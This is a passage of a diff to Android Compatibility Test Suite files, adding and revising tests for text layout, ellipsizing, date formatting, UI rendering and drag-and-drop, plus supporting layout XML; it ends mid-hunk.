+ public void testGetLineWidth() {
+ final float wholeWidth = mDefaultPaint.measureText(LOREM_IPSUM);
+ final int lineWidth = (int) (wholeWidth / 10.0f); // Make 10 lines per paragraph.
+ final String multiParaTestString =
+ LOREM_IPSUM + "\n" + LOREM_IPSUM + "\n" + LOREM_IPSUM + "\n" + LOREM_IPSUM;
+ final Layout layout = StaticLayout.Builder.obtain(multiParaTestString, 0,
+ multiParaTestString.length(), mDefaultPaint, lineWidth)
+ .build();
+ for (int i = 0; i < layout.getLineCount(); i++) {
+ assertTrue(layout.getLineWidth(i) <= lineWidth);
+ }
+ }
+
+ // TODO: Re-enable once http://b/65207701 is fixed.
+ @Test
+ @Suppress
+ public void testIndent() {
+ final float wholeWidth = mDefaultPaint.measureText(LOREM_IPSUM);
+ final int lineWidth = (int) (wholeWidth / 10.0f); // Make 10 lines per paragraph.
+ final int indentWidth = (int) (lineWidth * 0.3f); // Make 30% indent.
+ final String multiParaTestString =
+ LOREM_IPSUM + "\n" + LOREM_IPSUM + "\n" + LOREM_IPSUM + "\n" + LOREM_IPSUM;
+ final Layout layout = StaticLayout.Builder.obtain(multiParaTestString, 0,
+ multiParaTestString.length(), mDefaultPaint, lineWidth)
+ .setIndents(new int[] { indentWidth }, null)
+ .build();
+ for (int i = 0; i < layout.getLineCount(); i++) {
+ assertTrue(layout.getLineWidth(i) <= lineWidth - indentWidth);
+ }
+ }
}
diff --git a/tests/tests/text/src/android/text/cts/TextUtilsTest.java b/tests/tests/text/src/android/text/cts/TextUtilsTest.java
index d549cfa..2364dad 100644
--- a/tests/tests/text/src/android/text/cts/TextUtilsTest.java
+++ b/tests/tests/text/src/android/text/cts/TextUtilsTest.java
@@ -706,6 +706,83 @@
}
}
+ @Test
+ public void testEllipsize_retryEnd() {
+ // When we try to ellipsize "aaaa" into a thinner 3.4 em space, we originally think
+ // "aa…" would fit, but after measuring the new text, we find that it doesn't and we need
+ // to retry.
+ final float size = 100.0f;
+ final String text = "aaaa";
+
+ final CharSequence ellipsized = TextUtils.ellipsize(text, getTextPaintForEllipsize(size),
+ 3.4f * size,
+ TextUtils.TruncateAt.END, false /* preserveLength */, null /* callback */);
+ assertEquals("a\u2026", ellipsized.toString());
+ }
+
+ @Test
+ public void testEllipsize_retryEndRtl() {
+ // When we try to ellipsize "aaaa" into a thinner 3.4 em space, we originally think
+ // "aa…" would fit, but after measuring the new text, we find that it doesn't and we need
+ // to retry.
+ final float size = 100.0f;
+ final String text = "\u202Eaaaa"; // U+202E is the RIGHT-TO-LEFT OVERRIDE.
+
+ final CharSequence ellipsized = TextUtils.ellipsize(text, getTextPaintForEllipsize(size),
+ 3.4f * size,
+ TextUtils.TruncateAt.END, false /* preserveLength */, null /* callback */);
+ assertEquals("\u202Ea\u2026", ellipsized.toString());
+ }
+
+ @Test
+ public void testEllipsize_retryStart() {
+ // When we try to ellipsize "aaaa" into a thinner 3.4 em space, we originally think
+ // "…aa" would fit, but after measuring the new text, we find that it doesn't and we need
+ // to retry.
+ final float size = 100.0f;
+ final String text = "aaaa";
+
+ final CharSequence ellipsized = TextUtils.ellipsize(text, getTextPaintForEllipsize(size),
+ 3.4f * size,
+ TextUtils.TruncateAt.START, false /* preserveLength */, null /* callback */);
+ assertEquals("\u2026a", ellipsized.toString());
+ }
+
+ @Test
+ public void testEllipsize_retryMiddle() {
+ // When we try to ellipsize "aaaaaa" into a thinner 5.9 em space, we originally think
+ // "aa…aa" would fit, but after measuring the new text, we find that it doesn't and we need
+ // to retry.
+ final float size = 100.0f;
+ final String text = "aaaaaa";
+
+ final CharSequence ellipsized = TextUtils.ellipsize(text, getTextPaintForEllipsize(size),
+ 5.9f * size,
+ TextUtils.TruncateAt.MIDDLE, false /* preserveLength */, null /* callback */);
+ final String ellipsizedString = ellipsized.toString();
+ assertTrue("aa\u2026a".equals(ellipsizedString) || "a\u2026aa".equals(ellipsizedString));
+ }
+
+ private TextPaint getTextPaintForEllipsize(float size) {
+ // The font used in this method has two glyphs defined for "a" and ellipsis. Both are one
+ // em wide. But the glyphs are kerned: whenever the "a" is followed or preceded by an
+ // ellipsis, half an em is added between them as kerning. This means that:
+ // "aaaa" is 4 ems wide,
+ // "aaa…" is 4.5 ems wide,
+ // "aa…" is 3.5 ems wide,
+ // "a…" is 2.5 ems wide,
+ // "aa…aa" is 6 ems wide,
+ // "aa…a" is 5 ems wide,
+ // "a…aa" is 5 ems wide,
+ // "a…a" is 4 ems wide,
+ // "…a" is 2.5 ems wide.
+ final TextPaint paint = new TextPaint();
+ paint.setTypeface(Typeface.createFromAsset(
+ InstrumentationRegistry.getTargetContext().getAssets(), "ellipsis_test_font.ttf"));
+ paint.setTextSize(size);
+ return paint;
+ }
+
/**
* Get a blank string which is filled up by '\uFEFF'.
*
@@ -1614,6 +1691,8 @@
spannableStringTokens.add(new SpannableString("span 2"));
spannableStringTokens.add(new SpannableString("span 3"));
assertEquals("span 1;span 2;span 3", TextUtils.join(";", spannableStringTokens));
+
+ assertEquals("", TextUtils.join("|", new ArrayList<CharSequence>()));
}
@Test(expected=NullPointerException.class)
@@ -1636,6 +1715,8 @@
new SpannableString("span 2"),
new SpannableString("span 3") };
assertEquals("span 1;span 2;span 3", TextUtils.join(";", spannableStringTokens));
+
+ assertEquals("", TextUtils.join("|", new String[0]));
}
@Test(expected=NullPointerException.class)
diff --git a/tests/tests/text/src/android/text/format/cts/DateFormatTest.java b/tests/tests/text/src/android/text/format/cts/DateFormatTest.java
index 13c9aa2..50c97b2 100644
--- a/tests/tests/text/src/android/text/format/cts/DateFormatTest.java
+++ b/tests/tests/text/src/android/text/format/cts/DateFormatTest.java
@@ -18,12 +18,15 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
import android.app.UiAutomation;
import android.content.Context;
+import android.content.res.Configuration;
+import android.os.LocaleList;
import android.os.ParcelFileDescriptor;
import android.provider.Settings;
import android.support.annotation.NonNull;
@@ -312,6 +315,27 @@
}
}
+ @Test
+ public void test_ContextLocaleIsUsed() {
+ final Locale oldLocale = Locale.getDefault();
+
+ try {
+ Date date = new Date(YEAR_FROM_1900, MONTH, DAY);
+ Locale.setDefault(Locale.FRANCE);
+ final String javaResult = java.text.DateFormat.getDateInstance(
+ java.text.DateFormat.LONG).format(date);
+
+ final Configuration config = new Configuration();
+ config.setLocales(new LocaleList(Locale.JAPAN));
+ final Context context = mContext.createConfigurationContext(config);
+ final String androidResult = DateFormat.getLongDateFormat(context).format(date);
+
+ assertNotEquals(javaResult, androidResult);
+ } finally {
+ Locale.setDefault(oldLocale);
+ }
+ }
+
@NonNull
private String getTimeFormat() throws IOException {
return SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
diff --git a/tests/tests/text/src/android/text/method/cts/KeyListenerCtsActivity.java b/tests/tests/text/src/android/text/method/cts/KeyListenerCtsActivity.java
index 9c96519..4f26aea 100644
--- a/tests/tests/text/src/android/text/method/cts/KeyListenerCtsActivity.java
+++ b/tests/tests/text/src/android/text/method/cts/KeyListenerCtsActivity.java
@@ -18,7 +18,6 @@
import android.app.Activity;
import android.os.Bundle;
-import android.os.SystemClock;
import android.text.cts.R;
import android.text.method.BaseKeyListener;
import android.text.method.DateKeyListener;
@@ -29,7 +28,6 @@
import android.text.method.QwertyKeyListener;
import android.text.method.TextKeyListener;
import android.text.method.TimeKeyListener;
-import android.util.Log;
/**
* This Activity is used for testing:
@@ -55,47 +53,9 @@
*/
public class KeyListenerCtsActivity extends Activity {
- private boolean mHasWindowFocus = false;
- private final Object mHasWindowFocusLock = new Object();
-
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.keylistener_layout);
}
-
- @Override
- public void onWindowFocusChanged(boolean hasFocus) {
- super.onWindowFocusChanged(hasFocus);
- if (!hasFocus) {
- Log.w("KeyListenerCtsActivity", "KeyListenerCtsActivity lost window focus");
- }
- synchronized(mHasWindowFocusLock) {
- mHasWindowFocus = hasFocus;
- mHasWindowFocusLock.notify();
- }
- }
-
- /**
- * Blocks the calling thread until the {@link KeyListenerCtsActivity} has window focus or the
- * specified duration (in milliseconds) has passed.
- */
- public boolean waitForWindowFocus(long durationMillis) {
- long elapsedMillis = SystemClock.elapsedRealtime();
- synchronized(mHasWindowFocusLock) {
- mHasWindowFocus = hasWindowFocus();
- while (!mHasWindowFocus && durationMillis > 0) {
- long newElapsedMillis = SystemClock.elapsedRealtime();
- durationMillis -= (newElapsedMillis - elapsedMillis);
- elapsedMillis = newElapsedMillis;
- if (durationMillis > 0) {
- try {
- mHasWindowFocusLock.wait(durationMillis);
- } catch (InterruptedException e) {
- }
- }
- }
- return mHasWindowFocus;
- }
- }
}
diff --git a/tests/tests/uirendering/res/drawable/circle.xml b/tests/tests/uirendering/res/drawable/circle.xml
new file mode 100644
index 0000000..9d47a8a
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable/circle.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+ android:height="90px"
+ android:width="90px"
+ android:viewportHeight="1"
+ android:viewportWidth="1" >
+
+ <group>
+ <path
+ android:name="box0"
+ android:pathData="m0,0.5a0.5,0.5 0 1,0 1,0a0.5,0.5 0 1,0 -1,0"
+ android:fillColor="#FF0000" />
+ </group>
+</vector>
\ No newline at end of file
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AlphaBlendTest.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AlphaBlendTest.java
new file mode 100644
index 0000000..8c777f8
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AlphaBlendTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses;
+
+import android.content.Context;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.Point;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.R;
+import android.uirendering.cts.bitmapverifiers.ColorVerifier;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import android.uirendering.cts.testinfrastructure.ViewInitializer;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.FrameLayout;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class AlphaBlendTest extends ActivityTestBase {
+
+ class ViewWithAlpha extends View {
+ public ViewWithAlpha(Context context) {
+ super(context);
+ }
+
+ @Override
+ protected void onDraw(Canvas canvas) {
+ canvas.drawColor(Color.RED);
+ canvas.drawColor(Color.BLUE);
+ }
+
+ @Override
+ public boolean hasOverlappingRendering() {
+ return false;
+ }
+ }
+
+ /*
+ * The following test verifies that a RED and BLUE paints on a non-overlapping view with a 0.5f
+ * alpha blends correctly with a BLACK parent (without using an offscreen surface).
+ */
+ @Test
+ public void testBlendAlphaNonOverlappingView() {
+
+ ViewInitializer initializer = new ViewInitializer() {
+
+ @Override
+ public void initializeView(View view) {
+ FrameLayout root = (FrameLayout) view.findViewById(R.id.frame_layout);
+ root.setBackgroundColor(Color.BLACK);
+
+ final ViewWithAlpha child = new ViewWithAlpha(view.getContext());
+
+ child.setLayoutParams(new FrameLayout.LayoutParams(
+ ViewGroup.LayoutParams.FILL_PARENT, ViewGroup.LayoutParams.FILL_PARENT));
+ child.setAlpha(0.5f);
+ root.addView(child);
+ }
+ };
+
+ createTest()
+ .addLayout(R.layout.frame_layout, initializer, true)
+ .runWithVerifier(new ColorVerifier(0xff40007f));
+ }
+}
+
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterTests.java
new file mode 100644
index 0000000..4fd227d
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterTests.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses;
+
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.ColorMatrixColorFilter;
+import android.graphics.Paint;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.bitmapverifiers.ColorVerifier;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ColorFilterTests extends ActivityTestBase {
+
+ @Test
+ public void testColorMatrix() {
+ createTest()
+ .addCanvasClient((canvas, width, height) -> {
+ Bitmap whiteBitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+ whiteBitmap.eraseColor(Color.WHITE);
+
+ Paint paint = new Paint();
+ canvas.drawBitmap(whiteBitmap, 0, 0, paint);
+
+ paint.setAntiAlias(true);
+ paint.setColorFilter(new ColorMatrixColorFilter(new float[] {
+ -1, 0, 0, 0, 255,
+ 0, -1, 0, 0, 255,
+ 0, 0, -1, 0, 255,
+ 0, 0, 0, 1, 0
+ }));
+ canvas.drawBitmap(whiteBitmap, 0, 0, paint);
+
+ }, true)
+ .runWithVerifier(new ColorVerifier(Color.BLACK));
+ }
+
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
index ed0110a..ae8f57e 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
@@ -47,6 +47,7 @@
import android.view.ViewTreeObserver;
import android.widget.FrameLayout;
+import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -294,9 +295,9 @@
.runWithVerifier(new RectVerifier(Color.WHITE, Color.GREEN, new Rect(40, 40, 70, 70)));
}
- // Note: This test will fail for Skia pipeline, but that is OK.
- // TODO: delete this test when Skia pipeline is default and modify next test
+ // STOPSHIP: delete this test when Skia pipeline ships as the default and modify next test
// testSaveLayerUnclippedWithColorFilterSW to run for both HW and SW
+ @Ignore
@Test
public void testSaveLayerUnclippedWithColorFilterHW() {
// verify that HW can draw nested unclipped layers with chained color filters
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableTests.java
index ffb263d..f4db101 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableTests.java
@@ -16,17 +16,29 @@
package android.uirendering.cts.testclasses;
+import android.animation.Animator;
+import android.animation.AnimatorListenerAdapter;
+import android.animation.ValueAnimator;
+import android.content.Context;
+import android.graphics.Canvas;
import android.graphics.Color;
+import android.graphics.Point;
import android.graphics.Rect;
import android.graphics.drawable.VectorDrawable;
import android.support.test.filters.MediumTest;
import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.R;
import android.uirendering.cts.bitmapverifiers.RectVerifier;
+import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import android.uirendering.cts.testinfrastructure.ViewInitializer;
+import android.view.View;
+import android.widget.FrameLayout;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.concurrent.CountDownLatch;
+import android.animation.Animator;
@MediumTest
@RunWith(AndroidJUnit4.class)
@@ -44,5 +56,94 @@
.runWithVerifier(
new RectVerifier(Color.WHITE, Color.RED, new Rect(0, 0, 25, 25)));
}
+
+ class VectorDrawableView extends View {
+ private VectorDrawable mVd;
+ private Rect mVdBounds;
+
+ public VectorDrawableView(Context context) {
+ super(context);
+ mVd = (VectorDrawable) context.getResources().getDrawable(R.drawable.circle, null);
+ }
+
+ @Override
+ protected void onDraw(Canvas canvas) {
+ mVd.setBounds(mVdBounds);
+ mVd.draw(canvas);
+ }
+
+ public void setVDSize(Rect vdBounds) {
+ mVdBounds = vdBounds;
+ }
+ }
+
+ /*
+ * The following test verifies that VectorDrawable.setBounds invalidates the bitmap cache.
+ */
+ @Test
+ public void testInvalidateCache() {
+ CountDownLatch testFinishedFence = new CountDownLatch(1);
+
+ ViewInitializer initializer = new ViewInitializer() {
+ ValueAnimator mAnimator;
+
+ @Override
+ public void initializeView(View view) {
+ FrameLayout root = (FrameLayout) view.findViewById(R.id.frame_layout);
+ root.setBackgroundColor(Color.BLUE);
+
+ final VectorDrawableView child = new VectorDrawableView(view.getContext());
+
+ child.setLayoutParams(new FrameLayout.LayoutParams(ActivityTestBase.TEST_WIDTH,
+ ActivityTestBase.TEST_HEIGHT));
+ // VectorDrawable is a red circle drawn on top of a blue background.
+ // The first frame has VectorDrawable size set to 1x1 pixels, which deforms
+ // the red circle into a 1x1 red-ish square.
+ // An animation grows VectorDrawable bounds from 0x0 to 90x90. If VD cache is
+ // refreshed, then we should see a red circle on top of a blue background.
+ // If VD cache is stale, then VD will upscale the original 1x1 cached image to
+ // 90x90 red-ish square.
+ // At the end of the animation, we verify the color of top left pixel, which should
+ // be a blue background pixel.
+ child.setVDSize(new Rect(0, 0, 2, 2)); //first draw with VD size set to 1x1 pixels.
+ root.addView(child);
+
+ mAnimator = ValueAnimator.ofFloat(0, 1);
+ mAnimator.setRepeatCount(0);
+ mAnimator.setDuration(400);
+ mAnimator.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
+ @Override
+ public void onAnimationUpdate(ValueAnimator animation) {
+ float progress = (float) mAnimator.getAnimatedValue();
+ child.setVDSize(new Rect(0, 0, (int)(progress*child.getWidth()),
+ (int)(progress*child.getHeight())));
+ child.invalidate();
+ }
+ });
+ mAnimator.addListener(
+ new AnimatorListenerAdapter() {
+ @Override
+ public void onAnimationEnd(Animator animation) {
+ super.onAnimationEnd(animation);
+ testFinishedFence.countDown();
+ }
+ });
+
+ mAnimator.start();
+ }
+
+ @Override
+ public void teardownView() {
+ mAnimator.cancel();
+ }
+ };
+
+ createTest()
+ .addLayout(R.layout.frame_layout, initializer, true, testFinishedFence)
+ .runWithVerifier(new SamplePointVerifier(
+ new Point[] { new Point(0, 0) },
+ new int[] { 0xff0000ff }
+ ));
+ }
}
diff --git a/tests/tests/view/AndroidManifest.xml b/tests/tests/view/AndroidManifest.xml
index 7c35627..8bacd2e 100644
--- a/tests/tests/view/AndroidManifest.xml
+++ b/tests/tests/view/AndroidManifest.xml
@@ -348,6 +348,18 @@
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
+
+ <activity android:name="android.view.cts.KeyEventInterceptTestActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ </intent-filter>
+ </activity>
+
+ <activity android:name="android.view.cts.TouchDelegateTestActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ </intent-filter>
+ </activity>
</application>
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/view/res/layout/key_fallback_layout.xml b/tests/tests/view/res/layout/key_fallback_layout.xml
new file mode 100644
index 0000000..5d5cef1
--- /dev/null
+++ b/tests/tests/view/res/layout/key_fallback_layout.xml
@@ -0,0 +1,58 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <LinearLayout
+ android:orientation="horizontal"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content">
+ <Button
+ android:id="@+id/higher_in_normal"
+ android:translationZ="3dp"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content" />
+ <Button
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content" />
+ <Button
+ android:id="@+id/last_in_normal"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content" />
+ </LinearLayout>
+ <LinearLayout
+ android:id="@+id/higher_group"
+ android:translationZ="1dp"
+ android:orientation="horizontal"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content">
+ <Button
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content" />
+ <Button
+ android:id="@+id/lower_in_higher"
+ android:translationZ="-2dp"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content" />
+ <Button
+ android:id="@+id/last_in_higher"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content" />
+ </LinearLayout>
+ <LinearLayout
+ android:orientation="horizontal"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content">
+ <Button
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content" />
+ <Button
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content" />
+ <Button
+ android:id="@+id/last_button"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content" />
+ </LinearLayout>
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/view/res/layout/touch_delegate_test_activity_layout.xml b/tests/tests/view/res/layout/touch_delegate_test_activity_layout.xml
new file mode 100644
index 0000000..0780046
--- /dev/null
+++ b/tests/tests/view/res/layout/touch_delegate_test_activity_layout.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:id="@+id/layout"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <Button
+ android:id="@+id/button"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:layout_centerInParent="true"
+ />
+</RelativeLayout>
\ No newline at end of file
diff --git a/tests/tests/view/src/android/view/cts/DragDropTest.java b/tests/tests/view/src/android/view/cts/DragDropTest.java
index 39ae2d3..d74acef 100644
--- a/tests/tests/view/src/android/view/cts/DragDropTest.java
+++ b/tests/tests/view/src/android/view/cts/DragDropTest.java
@@ -25,6 +25,8 @@
import android.content.ClipData;
import android.content.ClipDescription;
import android.content.pm.PackageManager;
+import android.os.Parcel;
+import android.os.Parcelable;
import android.os.SystemClock;
import android.support.test.InstrumentationRegistry;
import android.support.test.rule.ActivityTestRule;
@@ -35,8 +37,6 @@
import android.view.View;
import android.view.ViewGroup;
-import com.android.internal.util.ArrayUtils;
-
import org.junit.After;
import org.junit.Before;
import org.junit.Rule;
@@ -44,9 +44,10 @@
import org.junit.runner.RunWith;
import java.util.ArrayList;
-import java.util.Objects;
+import java.util.Arrays;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
+import java.util.stream.IntStream;
@RunWith(AndroidJUnit4.class)
public class DragDropTest {
@@ -64,60 +65,81 @@
private CountDownLatch mStartReceived;
private CountDownLatch mEndReceived;
- private static boolean equal(ClipDescription d1, ClipDescription d2) {
- if ((d1 == null) != (d2 == null)) {
- return false;
- }
- if (d1 == null) {
+ /**
+ * Check whether two objects have the same binary data when dumped into Parcels
+ * @return True if the objects are equal
+ */
+ private static boolean compareParcelables(Parcelable obj1, Parcelable obj2) {
+ if (obj1 == null && obj2 == null) {
return true;
}
- return d1.getLabel().equals(d2.getLabel()) &&
- d1.getMimeTypeCount() == 1 && d2.getMimeTypeCount() == 1 &&
- d1.getMimeType(0).equals(d2.getMimeType(0));
- }
-
- private static boolean equal(ClipData.Item i1, ClipData.Item i2) {
- return Objects.equals(i1.getIntent(), i2.getIntent()) &&
- Objects.equals(i1.getHtmlText(), i2.getHtmlText()) &&
- Objects.equals(i1.getText(), i2.getText()) &&
- Objects.equals(i1.getUri(), i2.getUri());
- }
-
- private static boolean equal(ClipData d1, ClipData d2) {
- if ((d1 == null) != (d2 == null)) {
+ if (obj1 == null || obj2 == null) {
return false;
}
- if (d1 == null) {
- return true;
- }
- return equal(d1.getDescription(), d2.getDescription()) &&
- Objects.equals(d1.getIcon(), d2.getIcon()) &&
- d1.getItemCount() == 1 && d2.getItemCount() == 1 &&
- equal(d1.getItemAt(0), d2.getItemAt(0));
+ Parcel p1 = Parcel.obtain();
+ obj1.writeToParcel(p1, 0);
+ Parcel p2 = Parcel.obtain();
+ obj2.writeToParcel(p2, 0);
+ boolean result = Arrays.equals(p1.marshall(), p2.marshall());
+ p1.recycle();
+ p2.recycle();
+ return result;
}
- private static boolean equal(DragEvent ev1, DragEvent ev2) {
- return ev1.getAction() == ev2.getAction() &&
- ev1.getX() == ev2.getX() &&
- ev1.getY() == ev2.getY() &&
- equal(ev1.getClipData(), ev2.getClipData()) &&
- equal(ev1.getClipDescription(), ev2.getClipDescription()) &&
- Objects.equals(ev1.getDragAndDropPermissions(), ev2.getDragAndDropPermissions()) &&
- Objects.equals(ev1.getLocalState(), ev2.getLocalState()) &&
- ev1.getResult() == ev2.getResult();
- }
+ private static final ClipDescription sClipDescription =
+ new ClipDescription("TestLabel", new String[]{"text/plain"});
+ private static final ClipData sClipData =
+ new ClipData(sClipDescription, new ClipData.Item("TestText"));
+ private static final Object sLocalState = new Object(); // just check if null or not
class LogEntry {
- public View v;
- public DragEvent ev;
+ public View view;
- public LogEntry(View v, DragEvent ev) {
- this.v = v;
- this.ev = DragEvent.obtain(ev);
+ // Public DragEvent fields
+ public int action; // DragEvent.getAction()
+ public float x; // DragEvent.getX()
+ public float y; // DragEvent.getY()
+ public ClipData clipData; // DragEvent.getClipData()
+ public ClipDescription clipDescription; // DragEvent.getClipDescription()
+ public Object localState; // DragEvent.getLocalState()
+ public boolean result; // DragEvent.getResult()
+
+ LogEntry(View v, int action, float x, float y, ClipData clipData,
+ ClipDescription clipDescription, Object localState, boolean result) {
+ this.view = v;
+ this.action = action;
+ this.x = x;
+ this.y = y;
+ this.clipData = clipData;
+ this.clipDescription = clipDescription;
+ this.localState = localState;
+ this.result = result;
}
- public boolean eq(LogEntry other) {
- return v == other.v && equal(ev, other.ev);
+ @Override
+ public boolean equals(Object obj) {
+ if (this == obj) {
+ return true;
+ }
+ if (!(obj instanceof LogEntry)) {
+ return false;
+ }
+ final LogEntry other = (LogEntry) obj;
+ return view == other.view && action == other.action
+ && x == other.x && y == other.y
+ && compareParcelables(clipData, other.clipData)
+ && compareParcelables(clipDescription, other.clipDescription)
+ && localState == other.localState
+ && result == other.result;
+ }
+
+ @Override
+ public String toString() {
+ StringBuilder sb = new StringBuilder();
+ sb.append("DragEvent {action=").append(action).append(" x=").append(x).append(" y=")
+ .append(y).append(" result=").append(result).append("}")
+ .append(" @ ").append(view);
+ return sb.toString();
}
}
@@ -126,19 +148,18 @@
final private ArrayList<LogEntry> mActual = new ArrayList<LogEntry> ();
final private ArrayList<LogEntry> mExpected = new ArrayList<LogEntry> ();
- private static ClipDescription createClipDescription() {
- return new ClipDescription("TestLabel", new String[]{"text/plain"});
+ private static ClipData obtainClipData(int action) {
+ if (action == DragEvent.ACTION_DROP) {
+ return sClipData;
+ }
+ return null;
}
- private static ClipData createClipData() {
- return new ClipData(createClipDescription(), new ClipData.Item("TestText"));
- }
-
- static private DragEvent obtainDragEvent(int action, int x, int y, boolean result) {
- final ClipDescription description =
- action != DragEvent.ACTION_DRAG_ENDED ? createClipDescription() : null;
- final ClipData data = action == DragEvent.ACTION_DROP ? createClipData() : null;
- return DragEvent.obtain(action, x, y, null, description, data, null, result);
+ private static ClipDescription obtainClipDescription(int action) {
+ if (action == DragEvent.ACTION_DRAG_ENDED) {
+ return null;
+ }
+ return sClipDescription;
}
private void logEvent(View v, DragEvent ev) {
@@ -148,19 +169,23 @@
if (ev.getAction() == DragEvent.ACTION_DRAG_ENDED) {
mEndReceived.countDown();
}
- mActual.add(new LogEntry(v, ev));
